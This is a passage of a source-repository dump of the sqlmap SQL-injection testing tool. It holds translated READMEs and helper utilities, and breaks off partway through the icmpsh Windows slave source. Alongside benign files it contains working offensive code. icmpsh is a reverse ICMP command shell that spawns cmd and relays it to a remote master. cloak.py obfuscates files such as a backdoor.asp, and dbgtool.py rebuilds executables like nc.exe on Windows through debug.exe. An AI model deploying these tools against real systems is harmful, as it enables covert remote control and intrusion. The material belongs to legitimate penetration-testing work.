penetrasyon testleri sırasında gerekli olabilecek birçok aracı, uzak veritabanından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi işlevleri de barındırmaktadır. Ekran görüntüleri ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) İsterseniz özelliklerin tanıtımının yapıldığı [ekran görüntüleri](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. Kurulum ---- [Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipball'ı indirebilirsiniz. Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. Kullanım ---- Bütün basit seçeneklerin listesini gösterir python sqlmap.py -h Bütün seçenekleri gösterir python sqlmap.py -hh Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz Bağlantılar ---- * Anasayfa: https://sqlmap.org * İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) veya [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-uk-UA.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. Скриншоти ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Ви можете ознайомитися з [колекцією скриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), які демонструють деякі функції в wiki. Встановлення ---- Ви можете завантажити останню версію tarball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/tarball/master) або останню версію zipball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/zipball/master). Найкраще завантажити sqlmap шляхом клонування [Git](https://github.com/sqlmapproject/sqlmap) репозиторію: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.7** та **3.x** на будь-якій платформі. Використання ---- Щоб отримати список основних опцій і перемикачів, використовуйте: python sqlmap.py -h Щоб отримати список всіх опцій і перемикачів, використовуйте: python sqlmap.py -hh Ви можете знайти приклад виконання [тут](https://asciinema.org/a/46601). Для того, щоб ознайомитися з можливостями sqlmap, списком підтримуваних функцій та описом всіх параметрів і перемикачів, а також прикладами, вам рекомендується скористатися [інструкцією користувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Посилання ---- * Основний сайт: https://sqlmap.org * Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues * Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-vi-VN.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. Ảnh chụp màn hình ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) - nơi trình bày một số tính năng có thể tìm thấy trong wiki. Cài đặt ---- Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.7** và **3.x** trên bất kì hệ điều hành nào. Sử dụng ---- Để có được danh sách các tùy chọn cơ bản và switch, hãy chạy: python sqlmap.py -h Để có được danh sách tất cả các tùy chọn và switch, hãy chạy: python sqlmap.py -hh Bạn có thể xem video demo [tại đây](https://asciinema.org/a/46601). Để có cái nhìn tổng quan về sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). Liên kết ---- * Trang chủ: https://sqlmap.org * Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues * Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: doc/translations/README-zh-CN.md ================================================ # sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。 演示截图 ---- ![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) 你可以查看 wiki 上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 了解各种用法的示例 安装方法 ---- 你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包好的源代码,或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包好的源代码. 推荐直接从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 **3.x** 版本的任何平台上 使用方法 ---- 通过如下命令可以查看基本的用法及命令行参数: python sqlmap.py -h 通过如下的命令可以查看所有的用法及命令行参数: python sqlmap.py -hh 你可以从 [这里](https://asciinema.org/a/46601) 看到一个 sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取 sqlmap 所有支持的特性、参数、命令行选项开关及详细的使用帮助。 链接 ---- * 项目主页: https://sqlmap.org * 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commit的 RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom * 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots ================================================ FILE: extra/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: extra/beep/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: extra/beep/beep.py ================================================ #!/usr/bin/env python """ beep.py - Make a beep sound Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import sys import wave BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav") def beep(): try: if sys.platform.startswith("win"): _win_wav_play(BEEP_WAV_FILENAME) elif sys.platform.startswith("darwin"): _mac_wav_play(BEEP_WAV_FILENAME) elif sys.platform.startswith("cygwin"): _cygwin_beep(BEEP_WAV_FILENAME) elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")): _linux_wav_play(BEEP_WAV_FILENAME) else: _speaker_beep() except: _speaker_beep() def _speaker_beep(): sys.stdout.write('\a') # doesn't work on modern Linux systems try: sys.stdout.flush() except IOError: pass # Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html def _cygwin_beep(filename): os.system("play-sound-file '%s' 2>/dev/null" % filename) def _mac_wav_play(filename): os.system("afplay '%s' 2>/dev/null" % BEEP_WAV_FILENAME) def _win_wav_play(filename): import winsound winsound.PlaySound(filename, winsound.SND_FILENAME) def _linux_wav_play(filename): for _ in ("paplay", "aplay", "mpv", "mplayer", "play"): if not os.system("%s '%s' 2>/dev/null" % (_, filename)): return import ctypes PA_STREAM_PLAYBACK = 1 PA_SAMPLE_S16LE = 3 BUFFSIZE = 1024 class struct_pa_sample_spec(ctypes.Structure): _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)] try: pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") except OSError: return wave_file = wave.open(filename, "rb") pa_sample_spec = struct_pa_sample_spec() pa_sample_spec.rate = wave_file.getframerate() pa_sample_spec.channels = wave_file.getnchannels() pa_sample_spec.format = PA_SAMPLE_S16LE error = ctypes.c_int(0) pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error)) if not pa_stream: raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error))) while True: latency = pa.pa_simple_get_latency(pa_stream, ctypes.byref(error)) if latency == -1: raise Exception("Getting latency failed") buf = wave_file.readframes(BUFFSIZE) if not buf: break if pa.pa_simple_write(pa_stream, buf, len(buf), ctypes.byref(error)): raise Exception("Could not play file") wave_file.close() if pa.pa_simple_drain(pa_stream, ctypes.byref(error)): raise Exception("Could not simple drain") pa.pa_simple_free(pa_stream) if __name__ == "__main__": beep() ================================================ FILE: extra/cloak/README.txt ================================================ To use cloak.py you need to pass it the original file, and optionally the output file name. Example: $ python ./cloak.py -i backdoor.asp -o backdoor.asp_ This will create an encrypted and compressed binary file backdoor.asp_. Such file can then be converted to its original form by using the -d functionality of the cloak.py program: $ python ./cloak.py -d -i backdoor.asp_ -o backdoor.asp If you skip the output file name, general rule is that the compressed file names are suffixed with the character '_', while the original is get by skipping the last character. So, that means that the upper examples can also be written in the following form: $ python ./cloak.py -i backdoor.asp $ python ./cloak.py -d -i backdoor.asp_ ================================================ FILE: extra/cloak/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: extra/cloak/cloak.py ================================================ #!/usr/bin/env python """ cloak.py - Simple file encryption/compression utility Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import os import struct import sys import zlib from optparse import OptionError from optparse import OptionParser if sys.version_info >= (3, 0): xrange = range ord = lambda _: _ KEY = b"ZCuk6GdHSj4KtgDq" def xor(message, key): return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) def cloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() return xor(zlib.compress(data), KEY) def decloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() try: data = zlib.decompress(xor(data, KEY)) except Exception as ex: print(ex) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) sys.exit(1) finally: f.close() return data def main(): usage = '%s [-d] -i [-o ]' % sys.argv[0] parser = OptionParser(usage=usage, version='0.2') try: parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') parser.add_option('-i', dest='inputFile', help='Input file') parser.add_option('-o', dest='outputFile', help='Output file') (args, _) = parser.parse_args() if not args.inputFile: parser.error('Missing the input file, -h for help') except (OptionError, TypeError) as ex: parser.error(ex) if not os.path.isfile(args.inputFile): print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile) sys.exit(1) if not args.decrypt: data = cloak(args.inputFile) else: data = decloak(args.inputFile) if not args.outputFile: if not args.decrypt: args.outputFile = args.inputFile + '_' else: args.outputFile = args.inputFile[:-1] f = open(args.outputFile, 'wb') f.write(data) f.close() if __name__ == '__main__': main() ================================================ FILE: extra/dbgtool/README.txt ================================================ To use dbgtool.py you need to pass it the MS-DOS executable binary file, and optionally the output debug.exe script file name. Example: $ python ./dbgtool.py -i ./nc.exe -o nc.scr This will create a ASCII text file with CRLF line terminators called nc.scr. Such file can then be converted to its original portable executable with the Windows native debug.exe, that is installed by default in all Windows systems: > debug.exe < nc.scr To be able to execute it on Windows you have to rename it to end with '.com' or '.exe': > ren nc_exe nc.exe ================================================ FILE: extra/dbgtool/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: extra/dbgtool/dbgtool.py ================================================ #!/usr/bin/env python """ dbgtool.py - Portable executable to ASCII debug script converter Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import os import sys from optparse import OptionError from optparse import OptionParser def convert(inputFile): fileStat = os.stat(inputFile) fileSize = fileStat.st_size if fileSize > 65280: print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile) sys.exit(1) script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_")) script += "%x\nf 0100 ffff 00\n" % fileSize scrString = "" counter = 256 counter2 = 0 fp = open(inputFile, "rb") fileContent = fp.read() for fileChar in fileContent: unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar) if unsignedFileChar != 0: counter2 += 1 if not scrString: scrString = "e %0x %02x" % (counter, unsignedFileChar) else: scrString += " %02x" % unsignedFileChar elif scrString: script += "%s\n" % scrString scrString = "" counter2 = 0 counter += 1 if counter2 == 20: script += "%s\n" % scrString scrString = "" counter2 = 0 script += "w\nq\n" return script def main(inputFile, outputFile): if not os.path.isfile(inputFile): print("ERROR: the provided input file '%s' is not a regular file" % inputFile) sys.exit(1) script = convert(inputFile) if outputFile: fpOut = open(outputFile, "w") sys.stdout = fpOut sys.stdout.write(script) sys.stdout.close() else: print(script) if __name__ == "__main__": usage = "%s -i [-o ]" % sys.argv[0] parser = OptionParser(usage=usage, version="0.1") try: parser.add_option("-i", dest="inputFile", help="Input binary file") parser.add_option("-o", dest="outputFile", help="Output debug.exe text file") (args, _) = parser.parse_args() if not args.inputFile: parser.error("Missing the input file, -h for help") except (OptionError, TypeError) as ex: parser.error(ex) inputFile = args.inputFile outputFile = args.outputFile main(inputFile, outputFile) ================================================ FILE: extra/icmpsh/README.txt ================================================ icmpsh - simple reverse ICMP shell icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. --- Running the Master --- The master is straight forward to use. There are no extra libraries required for the C version. The Perl master however has the following dependencies: * IO::Socket * NetPacket::IP * NetPacket::ICMP When running the master, don't forget to disable ICMP replies by the OS. For example: sysctl -w net.ipv4.icmp_echo_ignore_all=1 If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive commands send from the master. --- Running the Slave --- The slave comes with a few command line options as outlined below: -t host host ip address to send ping requests to. This option is mandatory! -r send a single test icmp request containing the string "Test1234" and then quit. This is for testing the connection. -d milliseconds delay between requests in milliseconds -o milliseconds timeout of responses in milliseconds. If a response has not received in time, the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. The counter is set back to 0 if a response was received. -b num limit of blanks (unanswered icmp requests before quitting -s bytes maximal data buffer size in bytes In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. ================================================ FILE: extra/icmpsh/__init__.py ================================================ #!/usr/bin/env python # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker ) # # Copyright (c) 2010, Bernardo Damele A. G. # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . pass ================================================ FILE: extra/icmpsh/icmpsh-m.c ================================================ /* * icmpsh - simple icmp command shell * Copyright (c) 2010, Nico Leidecker * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #include #define IN_BUF_SIZE 1024 #define OUT_BUF_SIZE 64 // calculate checksum unsigned short checksum(unsigned short *ptr, int nbytes) { unsigned long sum; unsigned short oddbyte, rs; sum = 0; while(nbytes > 1) { sum += *ptr++; nbytes -= 2; } if(nbytes == 1) { oddbyte = 0; *((unsigned char *) &oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); rs = ~sum; return rs; } int main(int argc, char **argv) { int sockfd; int flags; char in_buf[IN_BUF_SIZE]; char out_buf[OUT_BUF_SIZE]; unsigned int out_size; int nbytes; struct iphdr *ip; struct icmphdr *icmp; char *data; struct sockaddr_in addr; printf("icmpsh - master\n"); // create raw ICMP socket sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); if (sockfd == -1) { perror("socket"); return -1; } // set stdin to non-blocking flags = fcntl(0, F_GETFL, 0); flags |= O_NONBLOCK; fcntl(0, F_SETFL, flags); printf("running...\n"); while(1) { // read data from socket memset(in_buf, 0x00, IN_BUF_SIZE); nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); if (nbytes > 0) { // get ip and icmp header and data part ip = (struct iphdr *) in_buf; if (nbytes > sizeof(struct iphdr)) { nbytes -= sizeof(struct iphdr); icmp = (struct icmphdr *) (ip + 1); if (nbytes > sizeof(struct icmphdr)) { nbytes -= sizeof(struct icmphdr); data = (char *) (icmp + 1); data[nbytes] = '\0'; printf("%s", data); fflush(stdout); } // reuse headers icmp->type = 0; addr.sin_family = AF_INET; addr.sin_addr.s_addr = ip->saddr; // read data from stdin nbytes = read(0, out_buf, OUT_BUF_SIZE); if (nbytes > -1) { memcpy((char *) (icmp + 1), out_buf, nbytes); out_size = nbytes; } else { out_size = 0; } icmp->checksum = 0x00; icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); // send reply nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); if (nbytes == -1) { perror("sendto"); return -1; } } } } return 0; } ================================================ FILE: extra/icmpsh/icmpsh-m.pl ================================================ #!/usr/bin/env perl # # icmpsh - simple icmp command shell # Copyright (c) 2010, Nico Leidecker # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # use strict; use IO::Socket; use NetPacket::IP; use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); use Net::RawIP; use Fcntl; print "icmpsh - master\n"; # create raw socket my $sock = IO::Socket::INET->new( Proto => "ICMP", Type => SOCK_RAW, Blocking => 1) or die "$!"; # set stdin to non-blocking fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; print "running...\n"; my $input = ''; while(1) { if ($sock->recv(my $buffer, 4096, 0)) { my $ip = NetPacket::IP->decode($buffer); my $icmp = NetPacket::ICMP->decode($ip->{data}); if ($icmp->{type} == ICMP_ECHO) { # get identifier and sequencenumber my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data}); # write data to stdout and read from stdin print $data; $input = ; # compile and send response $icmp->{type} = ICMP_ECHOREPLY; $icmp->{data} = pack("SSa*", $ident, $seq, $input); my $raw = $icmp->encode(); my $addr = sockaddr_in(0, inet_aton($ip->{src_ip})); $sock->send($raw, 0, $addr) or die "$!\n"; } } } ================================================ FILE: extra/icmpsh/icmpsh-s.c ================================================ /* * icmpsh - simple icmp command shell * Copyright (c) 2010, Nico Leidecker * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) #define STATUS_OK 0 #define STATUS_SINGLE 1 #define STATUS_PROCESS_NOT_CREATED 2 #define TRANSFER_SUCCESS 1 #define TRANSFER_FAILURE 0 #define DEFAULT_TIMEOUT 3000 #define DEFAULT_DELAY 200 #define DEFAULT_MAX_BLANKS 10 #define DEFAULT_MAX_DATA_SIZE 64 FARPROC icmp_create, icmp_send, to_ip; int verbose = 0; int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) { SECURITY_ATTRIBUTES sattr; STARTUPINFOA si; HANDLE in_read, out_write; memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); // create communication pipes memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); sattr.nLength = sizeof(SECURITY_ATTRIBUTES); sattr.bInheritHandle = TRUE; sattr.lpSecurityDescriptor = NULL; if (!CreatePipe(out_read, &out_write, &sattr, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!CreatePipe(&in_read, in_write, &sattr, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { return STATUS_PROCESS_NOT_CREATED; } // spawn process memset(&si, 0x00, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.hStdError = out_write; si.hStdOutput = out_write; si.hStdInput = in_read; si.dwFlags |= STARTF_USESTDHANDLES; if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { return STATUS_PROCESS_NOT_CREATED; } CloseHandle(out_write); CloseHandle(in_read); return STATUS_OK; } void usage(char *path) { printf("%s [options] -t target\n", path); printf("options:\n"); printf(" -t host host ip address to send ping requests to\n"); printf(" -r send a single test icmp request and then quit\n"); printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); printf(" -o milliseconds timeout in milliseconds\n"); printf(" -h this screen\n"); printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); printf(" before quitting\n"); printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); printf("In order to improve the speed, lower the delay (-d) between requests or\n"); printf("increase the size (-s) of the data buffer\n"); } void create_icmp_channel(HANDLE *icmp_chan) { // create icmp file *icmp_chan = (HANDLE) icmp_create(); } int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) { int rs; char *temp_in_buf; int nbytes; PICMP_ECHO_REPLY echo_reply; temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); if (!temp_in_buf) { return TRANSFER_FAILURE; } // send data to remote host rs = icmp_send( icmp_chan, target, out_buf, out_buf_size, NULL, temp_in_buf, max_in_data_size + ICMP_HEADERS_SIZE, timeout); // check received data if (rs > 0) { echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; if (echo_reply->DataSize > max_in_data_size) { nbytes = max_in_data_size; } else { nbytes = echo_reply->DataSize; } memcpy(in_buf, echo_reply->Data, nbytes); *in_buf_size = nbytes; free(temp_in_buf); return TRANSFER_SUCCESS; } free(temp_in_buf); return TRANSFER_FAILURE; } int load_deps() { HMODULE lib; lib = LoadLibraryA("ws2_32.dll"); if (lib != NULL) { to_ip = GetProcAddress(lib, "inet_addr"); if (!to_ip) { return 0; } } lib = LoadLibraryA("iphlpapi.dll"); if (lib != NULL) { icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_send = GetProcAddress(lib, "IcmpSendEcho"); if (icmp_create && icmp_send) { return 1; } } lib = LoadLibraryA("ICMP.DLL"); if (lib != NULL) { icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_send = GetProcAddress(lib, "IcmpSendEcho"); if (icmp_create && icmp_send) { return 1; } } printf("failed to load functions (%u)", GetLastError()); return 0; } int main(int argc, char **argv) { int opt; char *target; unsigned int delay, timeout; unsigned int ip_addr; HANDLE pipe_read, pipe_write; HANDLE icmp_chan; unsigned char *in_buf, *out_buf; unsigned int in_buf_size, out_buf_size; DWORD rs; int blanks, max_blanks; PROCESS_INFORMATION pi; int status; unsigned int max_data_size; // set defaults target = 0; timeout = DEFAULT_TIMEOUT; delay = DEFAULT_DELAY; max_blanks = DEFAULT_MAX_BLANKS; max_data_size = DEFAULT_MAX_DATA_SIZE; status = STATUS_OK; if (!load_deps()) { printf("failed to load ICMP library\n"); return -1; } // parse command line options for (opt = 1; opt < argc; opt++) { if 